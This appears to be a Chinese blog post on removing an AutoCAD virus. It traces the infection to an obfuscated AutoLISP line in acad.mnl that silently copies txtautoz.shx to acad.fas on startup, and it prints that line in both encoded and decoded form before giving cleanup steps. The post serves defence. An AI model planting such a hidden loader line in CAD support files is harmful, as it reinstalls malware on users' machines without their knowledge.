计算机报CAD病毒,生成acad.fas的源头

cad文件打开一直被报有病毒,每次只能清除acad.fas文件,一直未找到源头。用cad专杀也可以找到cad病毒,但总清不干净,打开acad.mnl文件发现下面有一段这样的文字。

;; Silent load.

(princ)

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))

根据把数字按ASCII码反查询数字就是以下的内容

(if(null autodeskwybs)(if(findfile(vl-list->string '(txtautoz.shx)))(vl-file-copy (findfile(vl-list->string '(txtautoz.shx)))(vl-list->string '(acad.fas))))(princ))

删除以上的代码,并删除电脑上所有txtautoz.shx的文件(我的电脑中无),打开cad就不会再报有病毒了。将acad.mnl文件设置为“可读”

以下是根据virscan.org网站报的病毒情况。让大家看看........

计算机报CAD病毒,生成acad.fas的源头_第1张图片
计算机报CAD病毒,生成acad.fas的源头_第2张图片
计算机报CAD病毒,生成acad.fas的源头_第3张图片

将删除后的mnl文件设置为“可读”。


进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除多余代码(一般都在文件末尾,未加分号的代码),然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。

你可能感兴趣的:(计算机报CAD病毒,生成acad.fas的源头)